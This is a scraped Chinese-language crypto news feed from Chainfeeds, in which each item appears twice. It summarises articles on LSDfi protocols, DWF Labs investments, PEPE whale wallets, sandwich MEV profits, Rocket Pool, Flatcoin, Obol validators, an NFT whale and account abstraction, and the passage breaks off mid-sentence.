    Chainfeeds 导读： LSDfi 是 2023 年最热门的叙述，它提高了抵押 ETH 的收益率。加密货币 KOL CryptoDoctor 从主要目标和机制、原生代币的效用、路线图、风险等方面比较了 Lybra Finance 和 Agility 的区别。 文章来源： https://twitter.com/0xcrypto_doctor/status/1648698782622810112 文章作者： CryptoDoctor 观点： CryptoDoctor：主要目标和机制：解决稳定币不具备抗通胀和利息收入的问题是 LybraFinance 的首要目标。用户可以选择通过在 Lybra 上存入 ETH 或 stETH 来铸造 eUSD。他们只需持有即可赚取约 8% 的收益率。而 Agility 专注于为 LSD 持有者解锁流动性，并作为 LSD 叙述的流动性层。Agility 旨在为 LSD 持有者提供一个存放场所并提高其资产的额外收益和将 ETH 和 LSD 流动性分配到需求地。【原文为英文】 内容来源 CryptoDoctor：原生代币的效用：将 LSD 或 ETH 存入 Agility 的用户将获得三种类型的收益：100% LSD 产量；30% 的 Vault 策略收益率；esAGI 代币奖励。Lybra 使用类似的 ve-tokenomics。 esLBR 代表 Lybra 中的投票权。但与 esAGI 不同。esLBR 可以只是投票和分享协议收入（没有贿赂）。【原文为英文】 内容来源 CryptoDoctor：风险：Agility 中用户为了将 esAGI 完全赎回成 AGI ，必须在解锁期后等待（最短 3 天到最长 14 天）转换比例会随着时间的延长成比例增加：14 天可以 1:1 转换 esAGI 到 AGI，3 天只能转换 0.5。AGI 的潜在抛售将导致 Agility 的死亡螺旋。与 Agility 不同 Lybra 团队设计了直接和间接机制的组合，以维持与美元价格的硬挂钩。【原文为英文】 内容来源  ( 2 min )
    盘点 DWF Labs 近一个月投资的 14 个项目
    Chainfeeds 导读： DWF Labs 曾表示无论市场状况如何，每月都会平均投资 5 个项目，投资领域涉及 DeFi、Gamefi、元宇宙、基础设施、协议层、交易等。近 1 个月，DWF Labs 已经投资了 14 个项目。Odaily 星球日报梳理并介绍了这些项目。 文章来源： https://www.odaily.news/post/5186510 文章作者： Odaily 观点： Odaily：1）EOS Network。EOS 是一个开源区块链平台，将可编程架构、多功能区块链基础设施和自定义智能合约结合在一起，帮助开发者自主协调、许可、执行并交付内容 。EOS 的优势包括速度、更低的成本和最小延迟的交易处理，使开发者能轻松优化和集成数字资源，以更低的成本、更高的效率做更多的事情。2）Fetch.ai。Fetch.ai 是一个点对点的 AI 驱动协议，也是 Binance 第二期 Launchpad 项目。该项目的目标是，创建 AI 平台和服务，让任何人都可以随时随地大规模构建和部署 AI 服务。 内容来源 Odaily：3）RACA。作为领先的 Web 3 解决方案提供商，其产品线包括 NFT 市场、USM Metaverse、Looki Looki Jazzi。4）Alchemy Pay。 一个加密货币支付网关，支持使用 Apple Pay、Google Pay 以及信用卡等方式直接使用法币购买加密货币，为全球开发者（企业）及其用户提供「安全，快捷，合规，国际化」的支付系统服务，可实现法币与加密币的自由兑换，并为交易提供汇率锁定，安全反欺诈，比特币即时支付等。 内容来源 Odaily：5）RSS3。 融合了区块链技术和 RSS 协议，旨在构建一个灵活、高效、可扩展的去中心化信息分发协议。RSS3 主要专注于数据的去中心化分发，并提供相应的存储解决方案和展示模块。6）apM Coin。一个客户奖励平台。该项目与韩国最大的服装批发商场 apM 集团合作，apM 集团经营 apM、apM PLACE 和 apM Luxe 三个购物中心。apM Coin 通过 apM Members 移动应用程序和 apM NFT e-Voucher 服务于这三个购物中心。 内容来源  ( 7 min )
    盘点 DWF Labs 近一个月投资的 14 个项目
    Chainfeeds 导读： DWF Labs 曾表示无论市场状况如何，每月都会平均投资 5 个项目，投资领域涉及 DeFi、Gamefi、元宇宙、基础设施、协议层、交易等。近 1 个月，DWF Labs 已经投资了 14 个项目。Odaily 星球日报梳理并介绍了这些项目。 文章来源： https://www.odaily.news/post/5186510 文章作者： Odaily 观点： Odaily：1）EOS Network。EOS 是一个开源区块链平台，将可编程架构、多功能区块链基础设施和自定义智能合约结合在一起，帮助开发者自主协调、许可、执行并交付内容 。EOS 的优势包括速度、更低的成本和最小延迟的交易处理，使开发者能轻松优化和集成数字资源，以更低的成本、更高的效率做更多的事情。2）Fetch.ai。Fetch.ai 是一个点对点的 AI 驱动协议，也是 Binance 第二期 Launchpad 项目。该项目的目标是，创建 AI 平台和服务，让任何人都可以随时随地大规模构建和部署 AI 服务。 内容来源 Odaily：3）RACA。作为领先的 Web 3 解决方案提供商，其产品线包括 NFT 市场、USM Metaverse、Looki Looki Jazzi。4）Alchemy Pay。 一个加密货币支付网关，支持使用 Apple Pay、Google Pay 以及信用卡等方式直接使用法币购买加密货币，为全球开发者（企业）及其用户提供「安全，快捷，合规，国际化」的支付系统服务，可实现法币与加密币的自由兑换，并为交易提供汇率锁定，安全反欺诈，比特币即时支付等。 内容来源 Odaily：5）RSS3。 融合了区块链技术和 RSS 协议，旨在构建一个灵活、高效、可扩展的去中心化信息分发协议。RSS3 主要专注于数据的去中心化分发，并提供相应的存储解决方案和展示模块。6）apM Coin。一个客户奖励平台。该项目与韩国最大的服装批发商场 apM 集团合作，apM 集团经营 apM、apM PLACE 和 apM Luxe 三个购物中心。apM Coin 通过 apM Members 移动应用程序和 apM NFT e-Voucher 服务于这三个购物中心。 内容来源  ( 7 min )
    【英文长推】PEPE 中神秘的巨鲸是否属于内部团队？
    Chainfeeds 导读： meme 币在短短 4 天内暴涨 1000 倍。加密货币研究机构 An Ape’s Prologue 发现一些钱包平均成本在 0.61 ETH （1210 美元），成功赚取超过 900 万美元 ——7500 倍的回报，但购买的时机很奇怪。 文章来源： https://twitter.com/apes_prologue/status/1648654431322349568 文章作者： An Ape's Prologue 观点： An Ape's Prologue：1）由 Fixed Float 交易所资助的一组七个钱包共购买了 17.7 万亿 PEPE 平均成本为 0.34 $ETH ，现在有 550 万美元的未实现利润。2）来自 ChangeNOW 交易所资助的两个钱包。他们以 0.1 ETH 的平均价格总共购买了 5 万亿 PEPE 代币，投资组合价值为 150 万美元。3）最初由 ByBit 资助的一个个体，在四个钱包中分配 0.17 ETH ，总共购买了 6.2 万亿代币，目前获利 220 万美元。【原文为英文】 内容来源 An Ape's Prologue：这种行为引发了关于这些钱包是否属于内部人员或者开发团队的问题，因为他们不仅掌握了完美的时机，而且在大幅上涨 1000 倍后持有相当数量的钱包。值得注意的是，由于链上可用的流动性低，即使他们出售其持有的 10%，也足以使代币完全暴跌。【原文为英文】 内容来源  ( 2 min )
    【英文长推】PEPE 中神秘的巨鲸是否属于内部团队？
    Chainfeeds 导读： meme 币在短短 4 天内暴涨 1000 倍。加密货币研究机构 An Ape’s Prologue 发现一些钱包平均成本在 0.61 ETH （1210 美元），成功赚取超过 900 万美元 ——7500 倍的回报，但购买的时机很奇怪。 文章来源： https://twitter.com/apes_prologue/status/1648654431322349568 文章作者： An Ape's Prologue 观点： An Ape's Prologue：1）由 Fixed Float 交易所资助的一组七个钱包共购买了 17.7 万亿 PEPE 平均成本为 0.34 $ETH ，现在有 550 万美元的未实现利润。2）来自 ChangeNOW 交易所资助的两个钱包。他们以 0.1 ETH 的平均价格总共购买了 5 万亿 PEPE 代币，投资组合价值为 150 万美元。3）最初由 ByBit 资助的一个个体，在四个钱包中分配 0.17 ETH ，总共购买了 6.2 万亿代币，目前获利 220 万美元。【原文为英文】 内容来源 An Ape's Prologue：这种行为引发了关于这些钱包是否属于内部人员或者开发团队的问题，因为他们不仅掌握了完美的时机，而且在大幅上涨 1000 倍后持有相当数量的钱包。值得注意的是，由于链上可用的流动性低，即使他们出售其持有的 10%，也足以使代币完全暴跌。【原文为英文】 内容来源  ( 2 min )
    【英文长推】三明治 MEV 利润激增的原因是什么？
    Chainfeeds 导读： 过去两天，三明治 MEV 利润超过 200 万美元，其中 90% 仅来自一位名为 jaredfromsubway.eth 的搜索者。Blockworks Research 对此现象进行了解读。 文章来源： https://twitter.com/blockworksres/status/1648712037533634560 文章作者： Blockworks Research 观点： Blockworks Research：一位名叫 jaredfromsubway.eth 的搜索者已经从 Uni V2 池上的 MEV 机会中赚取了数百万美元的利润，过去一周的交易量超过 30,000 笔。这是以太坊主网上 meme 币交易量增加的结果。PEPE 上线仅四天，交易量就达到了 5 亿美元。 WOJAK 已经上线了一天半，交易量已经达到 5000 万美元。【原文为英文】 内容来源 Blockworks Research：鉴于这些代币的巨大投机性质，大多数交易者在没有检查他们的滑点容忍度的情况下就进行了模仿交易。这使得像 jared 这样老练的搜索者能够对毫无戒心的交易者进行三明治攻击，在过去一周占据了以太坊消耗的所有 gas 的 4.5%。【原文为英文】 内容来源  ( 2 min )
    【英文长推】三明治 MEV 利润激增的原因是什么？
    Chainfeeds 导读： 过去两天，三明治 MEV 利润超过 200 万美元，其中 90% 仅来自一位名为 jaredfromsubway.eth 的搜索者。Blockworks Research 对此现象进行了解读。 文章来源： https://twitter.com/blockworksres/status/1648712037533634560 文章作者： Blockworks Research 观点： Blockworks Research：一位名叫 jaredfromsubway.eth 的搜索者已经从 Uni V2 池上的 MEV 机会中赚取了数百万美元的利润，过去一周的交易量超过 30,000 笔。这是以太坊主网上 meme 币交易量增加的结果。PEPE 上线仅四天，交易量就达到了 5 亿美元。 WOJAK 已经上线了一天半，交易量已经达到 5000 万美元。【原文为英文】 内容来源 Blockworks Research：鉴于这些代币的巨大投机性质，大多数交易者在没有检查他们的滑点容忍度的情况下就进行了模仿交易。这使得像 jared 这样老练的搜索者能够对毫无戒心的交易者进行三明治攻击，在过去一周占据了以太坊消耗的所有 gas 的 4.5%。【原文为英文】 内容来源  ( 2 min )
    对话 Rocket Pool 总经理：上海升级后 Rocket Pool 将为质押赛道带来哪些创新和机遇？
    Chainfeeds 导读： Rocket Pool 的总经理 Darren 介绍了 Rocket Pool 自上线以来在协议、代币模型和治理上的独特创新，并分享了如何在协议发展与以太坊去中心化之间取得平衡的看法及上海升级对质押行业的影响和质押行业格局走向的预测，还对 Rocket Pool Atlas 升级的影响进行了解读。 文章来源： https://www.ethereum.cn/Staking/podcast-with-rocket-pool 文章作者： ECN 观点： Darren Langerly：参与 Rocket Pool 质押的方式包括 ETH 兑换 rETH 及节点运行。而 Rocket Pool 特别的地方是用户成为节点运行者是无需许可的。此前 Rocket Pool 通过 Redstone 升级修改了节点运行者获得奖励的方式，升级后节点运行者可随时申领奖励。关于流动性质押代币模型，Rocket Pool 使用的是非回基代币，一方面与回基代币相比更容易与 DeFi 集成，另一方面从税收而言，像 reth 这样的非回基代币只需要缴两次税。 内容来源 Darren Langerly：治理方面，Rocket Pool 有两个 DAO，一个是 Protocol DAO （pDAO），一个是 Oracle DAO （oDAO）。pDAO 的成员是我们的节点运行者，也就是说，如果你是节点运行者，你在为协议提供价值的同时也能够获得在 pDAO 的治理权重。oDAO 的存在主要是由于我们需要来自信标链的信息，所以 oDAO 由在以太坊非常著名的人和组织组成，例如 etherscan、beaconcha.in、Lighthouse 及 Nimbus 等。 内容来源 Darren Langerly：上海升级对 rETH 逆袭 stETH 具有催化剂作用，且我们还有 Altas 版本升级。Altas 升级后我们的节点运行者至需要 8 个 ETH 和价值 2.4 个 ETH 的 RPL 就可以启动一个验证器。我们还允许 16 个 ETH 迷你池迁移到 8 个 ETH 的迷你池，这将在节点运行者供应上带来很大的提升。rETH 的需求很大，且长期一直以溢价进行交易，而其他的 LST 都以折价在交易。Atlas 上线后，这种供应会快速增长。此外 4 ETH 迷你池确实是我们的目标之一，但从 8 ETH 到 4 ETH 我们必须要有额外的安全防护。 内容来源  ( 7 min )
    对话 Rocket Pool 总经理：上海升级后 Rocket Pool 将为质押赛道带来哪些创新和机遇？
    Chainfeeds 导读： Rocket Pool 的总经理 Darren 介绍了 Rocket Pool 自上线以来在协议、代币模型和治理上的独特创新，并分享了如何在协议发展与以太坊去中心化之间取得平衡的看法及上海升级对质押行业的影响和质押行业格局走向的预测，还对 Rocket Pool Atlas 升级的影响进行了解读。 文章来源： https://www.ethereum.cn/Staking/podcast-with-rocket-pool 文章作者： ECN 观点： Darren Langerly：参与 Rocket Pool 质押的方式包括 ETH 兑换 rETH 及节点运行。而 Rocket Pool 特别的地方是用户成为节点运行者是无需许可的。此前 Rocket Pool 通过 Redstone 升级修改了节点运行者获得奖励的方式，升级后节点运行者可随时申领奖励。关于流动性质押代币模型，Rocket Pool 使用的是非回基代币，一方面与回基代币相比更容易与 DeFi 集成，另一方面从税收而言，像 reth 这样的非回基代币只需要缴两次税。 内容来源 Darren Langerly：治理方面，Rocket Pool 有两个 DAO，一个是 Protocol DAO （pDAO），一个是 Oracle DAO （oDAO）。pDAO 的成员是我们的节点运行者，也就是说，如果你是节点运行者，你在为协议提供价值的同时也能够获得在 pDAO 的治理权重。oDAO 的存在主要是由于我们需要来自信标链的信息，所以 oDAO 由在以太坊非常著名的人和组织组成，例如 etherscan、beaconcha.in、Lighthouse 及 Nimbus 等。 内容来源 Darren Langerly：上海升级对 rETH 逆袭 stETH 具有催化剂作用，且我们还有 Altas 版本升级。Altas 升级后我们的节点运行者至需要 8 个 ETH 和价值 2.4 个 ETH 的 RPL 就可以启动一个验证器。我们还允许 16 个 ETH 迷你池迁移到 8 个 ETH 的迷你池，这将在节点运行者供应上带来很大的提升。rETH 的需求很大，且长期一直以溢价进行交易，而其他的 LST 都以折价在交易。Atlas 上线后，这种供应会快速增长。此外 4 ETH 迷你池确实是我们的目标之一，但从 8 ETH 到 4 ETH 我们必须要有额外的安全防护。 内容来源  ( 7 min )
    详解 Flatcoin：如何运用控制理论，设计一种通货膨胀调整稳定币？
    Chainfeeds 导读： BlockScience 的研究员们对 Flatcoin 概念进行了深入探讨，以研究通过膨胀调整稳定币的实现难点，并提出了一系列设计建议。针对 Flatcoin 未来可能面临的挑战，也提出了进一步的研究和开发计划以实现其在全球范围内的有效运行。中文版本由 TEDAO 编译发布。 文章来源： https://mp.weixin.qq.com/s/J8ct0gKN5ML6VxGdQ03w7w 文章作者： Jeff Emmett、Danilo Lessa Bernardineli、Jamsheed Shorish 及 Michael 观点： Jeff Emmett：Flatcoin 是一种新兴的代币经济学概念，可以作为一种价值储藏代币，会随着通货膨胀的变化调整其价值。Flatcoin 的明确目标是保持代币持有者和 / 或特定利益群体（如平台用户）的购买力。其设计挑战包括但不限于：通货膨胀指数的低时间粒度、传感器测量时空调节方面的困难、传感器融合和有效控制器设计的复杂性及通过适当的激励机制实现 Flatcoin 经济变化的挑战。 内容来源 Jeff Emmett：对于构建 Flatcoin 来说，有一种很有前景的方法，就是借鉴及采用控制器的概念，可以「感知」价格变化，并通过重新调整参与者的激励机制，使得持有的代币价值趋于跟踪参考价值。这种基于控制器的稳定币被称为 Controller-Based Stablecoins（CBS），其中 RAI 是一个已经实际应用的例子。 内容来源 Jeff Emmett：推进 Flatcoin 落地的任务颇为艰巨，本着敏捷方法的精神，我们建议采用功能最小化的 PoC（概念验证）设计和试点实施，以达到满足初始需求的设计目标。一个出发点是先限制通货膨胀的空间分量。一个简单且推荐的 PoC 设计是从单一货币市场内的区域性指数 Flatcoin 和标量价格指数开始，但是可能面临各种套利挑战。在更长的设计时间尺度上，全球复合指数通货膨胀代币将能够解决这些套利问题，但这明显需要更多的概念化和设计来解决本文中提出的各种挑战。 内容来源  ( 32 min )
    详解 Flatcoin：如何运用控制理论，设计一种通货膨胀调整稳定币？
    Chainfeeds 导读： BlockScience 的研究员们对 Flatcoin 概念进行了深入探讨，以研究通过膨胀调整稳定币的实现难点，并提出了一系列设计建议。针对 Flatcoin 未来可能面临的挑战，也提出了进一步的研究和开发计划以实现其在全球范围内的有效运行。中文版本由 TEDAO 编译发布。 文章来源： https://mp.weixin.qq.com/s/J8ct0gKN5ML6VxGdQ03w7w 文章作者： Jeff Emmett、Danilo Lessa Bernardineli、Jamsheed Shorish 及 Michael 观点： Jeff Emmett：Flatcoin 是一种新兴的代币经济学概念，可以作为一种价值储藏代币，会随着通货膨胀的变化调整其价值。Flatcoin 的明确目标是保持代币持有者和 / 或特定利益群体（如平台用户）的购买力。其设计挑战包括但不限于：通货膨胀指数的低时间粒度、传感器测量时空调节方面的困难、传感器融合和有效控制器设计的复杂性及通过适当的激励机制实现 Flatcoin 经济变化的挑战。 内容来源 Jeff Emmett：对于构建 Flatcoin 来说，有一种很有前景的方法，就是借鉴及采用控制器的概念，可以「感知」价格变化，并通过重新调整参与者的激励机制，使得持有的代币价值趋于跟踪参考价值。这种基于控制器的稳定币被称为 Controller-Based Stablecoins（CBS），其中 RAI 是一个已经实际应用的例子。 内容来源 Jeff Emmett：推进 Flatcoin 落地的任务颇为艰巨，本着敏捷方法的精神，我们建议采用功能最小化的 PoC（概念验证）设计和试点实施，以达到满足初始需求的设计目标。一个出发点是先限制通货膨胀的空间分量。一个简单且推荐的 PoC 设计是从单一货币市场内的区域性指数 Flatcoin 和标量价格指数开始，但是可能面临各种套利挑战。在更长的设计时间尺度上，全球复合指数通货膨胀代币将能够解决这些套利问题，但这明显需要更多的概念化和设计来解决本文中提出的各种挑战。 内容来源  ( 32 min )
    【英文】验证者笔记：如何使用 Obol 运行分布式验证器？
    Chainfeeds 导读： 分布式验证器技术（DVT）提供商 Obol Labs 最近宣布正式进入 Alpha 发布阶段，将与合作伙伴一起推出数量有限的 DV，而 DSRV 从去年开始就与 Obol 在其第一个公共测试网上达成合作。DSRV 研究工程师 Youngbin Park 撰文对通过 Obol 运行 DV 的启动流程及关键问题进行了概述。 文章来源： https://medium.com/dsrv/validators-note-10-how-to-start-running-a-distributed-validator-with-obol-f7c9179cbd7e 文章作者： Youngbin Park 观点： Youngbin Park：Obol Labs 通过 Charon 客户端和 DKG（分布式密钥生成）来实现分布式验证器技术（DVT）。Charon 是一个中间件客户端，允许任何现有的以太坊客户端能够作为分布式验证器的一部分共同运作，通过与其他运营商沟通，Charon 客户端能够达成共识，并作为一个单一的验证器联合运行。【原文为英文】 内容来源 Youngbin Park：以第一个 DV 为例介绍启动流程：1）DKG 仪式：除了以太坊账户还必须准备一个 ENR（以太坊节点记录），Charon 客户端使用这一信息来识别和连接彼此以形成一个集群。随后加入一个 DV 集群并等待其他运营商加入。集群形成后，使用 ENR 和集群定义文件开始 DKG 仪式。下一步是在 Charon 和验证器客户端上运行 .charon 和 validator_keys；2）激活验证器：一旦 DV 被设置好并存入 32 枚 ETH ，大约需要 26 个小时才能被激活。【原文为英文】 内容来源 Youngbin Park：我们在运行 DV 时注意到一个关键问题：集群内的通信是至关重要的。尽管 DVT 赋予验证器更多容错性，但我们必须与其他操作者保持联系以分享出现的任何问题。例如如果四个集群内只有两个运营商更新他们的客户端，验证器将无法完成其工作。【原文为英文】 内容来源  ( 9 min )
    【英文】验证者笔记：如何使用 Obol 运行分布式验证器？
    Chainfeeds 导读： 分布式验证器技术（DVT）提供商 Obol Labs 最近宣布正式进入 Alpha 发布阶段，将与合作伙伴一起推出数量有限的 DV，而 DSRV 从去年开始就与 Obol 在其第一个公共测试网上达成合作。DSRV 研究工程师 Youngbin Park 撰文对通过 Obol 运行 DV 的启动流程及关键问题进行了概述。 文章来源： https://medium.com/dsrv/validators-note-10-how-to-start-running-a-distributed-validator-with-obol-f7c9179cbd7e 文章作者： Youngbin Park 观点： Youngbin Park：Obol Labs 通过 Charon 客户端和 DKG（分布式密钥生成）来实现分布式验证器技术（DVT）。Charon 是一个中间件客户端，允许任何现有的以太坊客户端能够作为分布式验证器的一部分共同运作，通过与其他运营商沟通，Charon 客户端能够达成共识，并作为一个单一的验证器联合运行。【原文为英文】 内容来源 Youngbin Park：以第一个 DV 为例介绍启动流程：1）DKG 仪式：除了以太坊账户还必须准备一个 ENR（以太坊节点记录），Charon 客户端使用这一信息来识别和连接彼此以形成一个集群。随后加入一个 DV 集群并等待其他运营商加入。集群形成后，使用 ENR 和集群定义文件开始 DKG 仪式。下一步是在 Charon 和验证器客户端上运行 .charon 和 validator_keys；2）激活验证器：一旦 DV 被设置好并存入 32 枚 ETH ，大约需要 26 个小时才能被激活。【原文为英文】 内容来源 Youngbin Park：我们在运行 DV 时注意到一个关键问题：集群内的通信是至关重要的。尽管 DVT 赋予验证器更多容错性，但我们必须与其他操作者保持联系以分享出现的任何问题。例如如果四个集群内只有两个运营商更新他们的客户端，验证器将无法完成其工作。【原文为英文】 内容来源  ( 9 min )
    【长推】变卖 NFT，注销推特账号：简述 BAYC 巨鲸 Franklin 的前世今生
    Chainfeeds 导读： 近期两位 NFT 巨鲸 Franklin 和麻吉大哥黄立成相继宣布退出 NFT 领域。Buidler DAO 研究员故事撰文对 Franklin 的前世今生进行了简单概述，包括身份背景、degen 策略、Blur 大战等内容。 文章来源： https://twitter.com/Story_Liu00/status/1648548938457161728 文章作者： 故事➕ 观点： 故事➕：Franklin 全名为 Franklin Caldwell II，曾作为结构分析工程师任职于 Boeing、Northrop Grumman 及 Peraton 多家美国航空航天公司。进入 BYAC 社区后，Franklin 在 NFT 借贷平台 BendDAO 中通过使用风险交易策略和贷款活动來扩大 BAYC 收藏品规模。截至 2022 年 11 月 6 日，Franklin 共拥有 61 只 BYAC，一度成为 BAYC 排名第 6 的大户，也是 BendDAO 上累计借贷金额最高的用户，接近 2 万枚 ETH。 内容来源 故事➕：2022 年 11 月，NFT 市场持续走熊，再加上 FTX 的暴雷加剧市场恐慌情绪 ，BAYC 地板价一度跌破 50ETH。而 Franklin 却借助充盈的持仓量和对后市的乐观判断开始了砸盘套利，通过高抛低吸，Franklin 一天就赚取了近 20 枚 ETH 的利润。当然 Franklin 更广为人知的还是他的 degen 策略，即低于地板价 offer NFT，并以地板价卖出。 内容来源 故事➕：2023 年 2 月 15 日，Blur 发布第二季空投计划鼓励用户进行竞价 bid 和挂单，也引发了 Franklin 和麻吉大哥的大战，据 Proof 研究总监数据调查，麻吉大哥在这场 Blur 游戏中损失达 5000 ETH，一度宣布退出 NFT 市场。但 Franklin 也因为赌博和投资失败最后不得不变卖 NFT 偿还债务，目前其 Franklin 公开钱包内目前仅剩一只金猴。 内容来源  ( 2 min )
    【长推】变卖 NFT，注销推特账号：简述 BAYC 巨鲸 Franklin 的前世今生
    Chainfeeds 导读： 近期两位 NFT 巨鲸 Franklin 和麻吉大哥黄立成相继宣布退出 NFT 领域。Buidler DAO 研究员故事撰文对 Franklin 的前世今生进行了简单概述，包括身份背景、degen 策略、Blur 大战等内容。 文章来源： https://twitter.com/Story_Liu00/status/1648548938457161728 文章作者： 故事➕ 观点： 故事➕：Franklin 全名为 Franklin Caldwell II，曾作为结构分析工程师任职于 Boeing、Northrop Grumman 及 Peraton 多家美国航空航天公司。进入 BYAC 社区后，Franklin 在 NFT 借贷平台 BendDAO 中通过使用风险交易策略和贷款活动來扩大 BAYC 收藏品规模。截至 2022 年 11 月 6 日，Franklin 共拥有 61 只 BYAC，一度成为 BAYC 排名第 6 的大户，也是 BendDAO 上累计借贷金额最高的用户，接近 2 万枚 ETH。 内容来源 故事➕：2022 年 11 月，NFT 市场持续走熊，再加上 FTX 的暴雷加剧市场恐慌情绪 ，BAYC 地板价一度跌破 50ETH。而 Franklin 却借助充盈的持仓量和对后市的乐观判断开始了砸盘套利，通过高抛低吸，Franklin 一天就赚取了近 20 枚 ETH 的利润。当然 Franklin 更广为人知的还是他的 degen 策略，即低于地板价 offer NFT，并以地板价卖出。 内容来源 故事➕：2023 年 2 月 15 日，Blur 发布第二季空投计划鼓励用户进行竞价 bid 和挂单，也引发了 Franklin 和麻吉大哥的大战，据 Proof 研究总监数据调查，麻吉大哥在这场 Blur 游戏中损失达 5000 ETH，一度宣布退出 NFT 市场。但 Franklin 也因为赌博和投资失败最后不得不变卖 NFT 偿还债务，目前其 Franklin 公开钱包内目前仅剩一只金猴。 内容来源  ( 2 min )
    【英文长推】新项目前瞻 | 跨链流动性协议 Entangle Protocol：通过全链解决方案激励粘性流动性并增强收益率？
    Chainfeeds 导读： 跨链流动性协议 Entangle Protocol 能够让用户与流动性池进行无缝跨链交互。加密研究员 AlΞx Wacy 撰文对该协议的运作机制、收入模式、代币经济学及进展进行了分析。 文章来源： https://twitter.com/wacy_time1/status/1648746295862132736 文章作者： AlΞx Wacy 观点： AlΞx Wacy：Entangle Protocol 通过合成金库改变跨链流动性，任何资产都可以被包裹并进行跨链发送以产生流动性，为 DeFi 释放更多机会。Entangle Protocol 的合成金库是以另一条链上持有的流动性金库为基础 1:1 铸造，包括 DEX 流动性资金池、借贷池及抵押代币。此外，Entangle 还具有 Gas 费用低和 2 秒的区块时间的特点，其提供 EVM 和 DPoS 的兼容性并通过 Tendermint 共识算法实现即时最终性。【原文为英文】 内容来源 AlΞx Wacy：Entangle Protocol 从多个来源产生收入，并通过真实收益率系统分配给利益相关者。其代币 ENTGL 能够作为验证者 / 委托人 / 预言机操作者通过质押获得，总供应量为 1,000,000,000 枚。此外，Entangle Protocol 测试网 V2 版本即将推出。【原文为英文】 内容来源  ( 2 min )
    【英文长推】新项目前瞻 | 跨链流动性协议 Entangle Protocol：通过全链解决方案激励粘性流动性并增强收益率？
    Chainfeeds 导读： 跨链流动性协议 Entangle Protocol 能够让用户与流动性池进行无缝跨链交互。加密研究员 AlΞx Wacy 撰文对该协议的运作机制、收入模式、代币经济学及进展进行了分析。 文章来源： https://twitter.com/wacy_time1/status/1648746295862132736 文章作者： AlΞx Wacy 观点： AlΞx Wacy：Entangle Protocol 通过合成金库改变跨链流动性，任何资产都可以被包裹并进行跨链发送以产生流动性，为 DeFi 释放更多机会。Entangle Protocol 的合成金库是以另一条链上持有的流动性金库为基础 1:1 铸造，包括 DEX 流动性资金池、借贷池及抵押代币。此外，Entangle 还具有 Gas 费用低和 2 秒的区块时间的特点，其提供 EVM 和 DPoS 的兼容性并通过 Tendermint 共识算法实现即时最终性。【原文为英文】 内容来源 AlΞx Wacy：Entangle Protocol 从多个来源产生收入，并通过真实收益率系统分配给利益相关者。其代币 ENTGL 能够作为验证者 / 委托人 / 预言机操作者通过质押获得，总供应量为 1,000,000,000 枚。此外，Entangle Protocol 测试网 V2 版本即将推出。【原文为英文】 内容来源  ( 2 min )
    空手道联赛品牌 Karate Combat 完成 1800 万美元融资
    空手道联赛品牌 Karate Combat 完成 1800 万美元融资 据 Decrypt 报道，用于构建 Web3、混合现实体育直播的应用程序 Karate Combat 完成 1800 万美元融资，Bitkraft Ventures 领投，Delphi Digital、The Operating Group、Alpha Wave Global、HashKey、RooxieXBT 等参投。本轮融资将用于在 5 月 10 日在以太坊和 Hedera 网络上推出 Karate Combat「Up Only Gaming」应用和 KARATE 代币。 内容来源 观点： Robert Bryan （Karate Combat 联合创始人）：游戏模式的主要特点是，使用该应用程序的全球玩家可以将 KARATE 代币分配给他们最喜欢的选手，并将选手潜在奖池提高到超出其合同支付范围。如果他们选择的选手获胜，则玩家会赚取更多代币。并且代币不会因为失败而丢失。  ( 31 min )
    空手道联赛品牌 Karate Combat 完成 1800 万美元融资
    空手道联赛品牌 Karate Combat 完成 1800 万美元融资 据 Decrypt 报道，用于构建 Web3、混合现实体育直播的应用程序 Karate Combat 完成 1800 万美元融资，Bitkraft Ventures 领投，Delphi Digital、The Operating Group、Alpha Wave Global、HashKey、RooxieXBT 等参投。本轮融资将用于在 5 月 10 日在以太坊和 Hedera 网络上推出 Karate Combat「Up Only Gaming」应用和 KARATE 代币。 内容来源 观点： Robert Bryan （Karate Combat 联合创始人）：游戏模式的主要特点是，使用该应用程序的全球玩家可以将 KARATE 代币分配给他们最喜欢的选手，并将选手潜在奖池提高到超出其合同支付范围。如果他们选择的选手获胜，则玩家会赚取更多代币。并且代币不会因为失败而丢失。  ( 31 min )
    「钱包即服务」提供商 Universal Ledger 完成 1000 万美元融资，Hard Yaka 领投
    「钱包即服务」提供商 Universal Ledger 完成 1000 万美元融资，Hard Yaka 领投 据 Axios 报道，钱包即服务（wallet-as-a-service）提供商 Universal Ledger 宣布完成 1000 万美元融资，Hard Yaka 领投。Universal Ledger 旨在帮助用户自己构建加密钱包，其客户主要是大型金融机构和行政机构。该公司已构建了一个分级验证系统，可提供电话号码、电子邮件等低级别验证，以及其他身份识别信息的高级别验证，确保交易安全。 内容来源  ( 5 min )
    「钱包即服务」提供商 Universal Ledger 完成 1000 万美元融资，Hard Yaka 领投
    「钱包即服务」提供商 Universal Ledger 完成 1000 万美元融资，Hard Yaka 领投 据 Axios 报道，钱包即服务（wallet-as-a-service）提供商 Universal Ledger 宣布完成 1000 万美元融资，Hard Yaka 领投。Universal Ledger 旨在帮助用户自己构建加密钱包，其客户主要是大型金融机构和行政机构。该公司已构建了一个分级验证系统，可提供电话号码、电子邮件等低级别验证，以及其他身份识别信息的高级别验证，确保交易安全。 内容来源  ( 5 min )
    全面解读账户抽象和 EIP-4337 技术和应用场景：Web3 下一个十亿级用户市场？
    Chainfeeds 导读： 以太坊改进提案 4337 定义的账户抽象是一组协议层的接口，不仅集成了 Web2 用户熟悉的交互形式，还为 Web3 特有用户痛点提出了解决方案。万物岛独立研究员 Steve Wang 分三部分对账户抽象和 EIP-4337 进行了探索，包括 EIP-4337 的起源及技术细节、市场格局及账户抽象的发展方向。 文章来源： https://mirror.xyz/0x7333aB7AE068Ef92fb77A2bcab32FA273c45185c/ozUKb4RdhqB4ya49uw_OfMHILiZpDBV99eosD9gfumU 文章作者： SteveIsEmployed 观点： SteveIsEmployed：EIP-4337 为标准化智能合约钱包定义了六个合约接口：1）智能合约钱包：通过打包器触发入口合约来间接触发，在链下验证交易，然后在链上执行；2）Bundler：用于批量验证和执行用户操作；3）Entry Point Contract：用于标准化交易执行并防止打包器受到恶意交易的 DoS 攻击；4）Paymaster：用于代表钱包用户处理 Gas 支付；5）Wallet Factory：用于标准化钱包创建的参数和流程；6）Signature Aggregator：用于将多个交易的签名聚合为字节，以便更快地验证和执行交易。 内容来源 SteveIsEmployed：账户抽象市场参与者：1）智能合约钱包及配套 SDK：包括社交登陆和社交恢复、Gas 